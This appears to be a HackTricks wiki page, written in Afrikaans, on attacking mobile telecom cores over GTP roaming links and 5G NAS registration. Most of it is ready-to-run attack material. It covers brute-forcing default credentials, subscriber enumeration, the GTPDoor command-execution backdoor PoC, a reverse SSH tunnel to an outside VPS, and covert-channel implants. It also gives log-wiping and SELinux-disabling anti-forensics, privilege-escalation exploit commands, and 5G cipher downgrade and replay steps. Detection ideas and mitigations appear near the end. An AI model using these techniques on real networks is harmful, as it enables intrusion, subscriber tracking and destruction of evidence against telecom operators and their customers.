248 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobiele kernprotokolle (GPRS Tunnelling Protocol GTP) gaan dikwels oor semi-vertroude GRX/IPX roaming-backbones. Omdat hulle op plain UDP met byna geen verifikasie ry nie, **enige foothold binne 'n telecom-perimeter kan gewoonlik direk die kern-seinvlakke bereik**. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
'n Verrassend groot aantal verskaffer-netwerkelemente word met hard-coded SSH/Telnet gebruikers gestuur, soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde woordlys verhoog dramaties brute-force sukses:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
### 1.2 Gasheerontdekking binne GRX/IPX
Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP probes om vinnig GTP-C listeners in kaart te bring:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerating Subscribers `cordscan`
Die volgende Go-hulpmiddel vervaardig **GTP-C Create PDP Context Request** pakkette en teken die antwoorde aan. Elke antwoord openbaar die huidige **SGSN / MME** wat die aangevraagde IMSI bedien en, soms, die abonnee se besoekte PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Belangrike vlae:
- `--imsi` Teikenabonnee IMSI
- `--oper` Home / HNI (MCC+MNC)
- `-w` Skryf rou packets na pcap
Belangrike konstantes binne die binary kan gepatch word om scans te verbreed:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Kode-uitvoering oor GTP `GTPDoor`
`GTPDoor` is 'n klein ELF-diens wat **binds UDP 2123 and parses every incoming GTP-C packet**. Wanneer die payload met 'n pre-shared tag begin, word die res ontsleuteld (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie.
Minimale PoC-pakket (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Opsporing:
* enige host wat **unbalanced Echo Requests** na SGSN IPs stuur
* GTP version flag op 1 gestel terwyl message type = 1 (Echo) afwyking van die spesifikasie
## 4. Pivoting Deur die Kern
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat vanaf die roaming peer bereikbaar is.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens bloot op jou VPS wat luister op :53 en keer later van die huis terug:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is.
## 5. Covert Channels
| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | hou dop vir `*.nodep` subdomein |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mengt met legitieme GTP-C-verkeer |
Alle implants implementeer watchdogs wat **timestomp** hul binaries en re-spawn as hulle crashed.
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilege Escalation op Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Skoonmaakwenk:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Gereedskap
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` aangepaste gereedskap soos in vorige afdelings beskryf.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of geïnkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv., on-path binne die core, rogue gNB, of testbed).
Registrasie-vloei (vereenvoudig):
- Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns.
- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur RES* terug.
- Security Mode Command/Complete: NAS-integriteit en -koderingsalgoritmes word onderhandeld en geaktiveer.
- PDU Session Establishment: IP/QoS opstelling.
Laboratorium-opstellingswenke (non-RF):
- Core: Open5GS standaard implementering is voldoende om vloei te reproduceer.
- UE: simulator of toets-UE; dekodeer met Wireshark.
- Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS binne NGAP), Sni5Gect (sniff/patch/inject NAS on the fly sonder om 'n volledige rogue gNB op te sit).
- Nuttige vertoonfilters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel
Verwagting: UE/USIM moet SUCI stuur (SUPI geënkripteer met die home-network publieke sleutel). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue ontvangeropsporing moontlik maak.
Hoe om te toets:
- Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
- Wireshark vinnige kontrole:
- Dit behoort as SUCI te dekodeer, nie as IMSI nie.
- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` behoort te bestaan; afwesigheid tesame met die teenwoordigheid van `imsi` dui op 'n privaatheidsdefek.
Wat om te versamel:
- MCC/MNC/MSIN indien blootgestel; log per-UE en spoor oor tyd/liggings.
Mitigasie:
- Dwing SUCI-only UE/USIM af; stel alarms op vir enige IMSI/SUPI in die aanvanklike NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Agtergrond:
- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
- Algemene koppelings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
Probleem:
- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller die vermoënbits uitvee om later tydens Security Mode Command die keuse van EEA0/EIA0 af te dwing. Sommige stacks laat ontereëlwis null-algoritmes toe buite nooddienste.
Aanvallende stappe:
- Intercepteer InitialUEMessage en modifiseer die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit verder gestuur word.
- Observeer of die AMF null ciphers/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi.
Verifikasie/ sigbaarheid:
- In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
- Voorbeeld van passiewe sniffer-uitset:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigations (must):
- Konfigureer AMF/policy om EEA0/EIA0 te verwerp, behalwe waar dit strikt vereis word (bv., noodoproepe).
- Voorkeur om ten minste EEA2/EIA2 af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat nul-algoritmes onderhandel.
### 9.3 Herhaling van aanvanklike Registration Request (pre-security NAS)
Omdat die aanvanklike NAS integriteit en nuutheid ontbreek, kan 'n opgeneemde InitialUEMessage+Registration Request aan die AMF hergespeel word.
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Wat om op te let:
- Of die AMF die replay aanvaar en na verifikasie voortgaan; 'n gebrek aan varsheid-/konteksvalidasie dui op blootstelling.
Mitigering:
- Handhaaf replay protection/context binding by die AMF; pas rate-limiting toe en korreleer per-GNB/UE.
### 9.4 Gereedskapwenke (reproduceerbaar)
- Open5GS: start 'n AMF/SMF/UPF om die core te emuleer; monitor N2 (NGAP) en NAS.
- Wireshark: verifieer die dekodes van NGAP/NAS; pas die bogenoemde filters toe om Registration te isoleer.
- 5GReplay: vang 'n registration op, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reël.
- Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te versteur.
### 9.5 Verdedigingskontrolelys
- Inspekteer aanhoudend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs.
- Weier EEA0/EIA0 behalwe vir nou omskryfde noodprosedures; vereis minstens EEA2/EIA2.
- Ontdek rogue of verkeerd gekonfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwagte N2 peers.
- Gee waarskuwings vir NAS security modes wat in null algorithms of gereelde replays van InitialUEMessage resulteer.
---
## Opsporingsidees
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**.
2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IP's.
3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** kan op GTPDoor beacons dui.
4. **Hoë koers van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**.
5. 5G: **InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese endpoints** (replay sein).
6. 5G: **NAS Security Mode wat EEA0/EIA0 onderhandel** buite noodkontekste.
## Verwysings
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}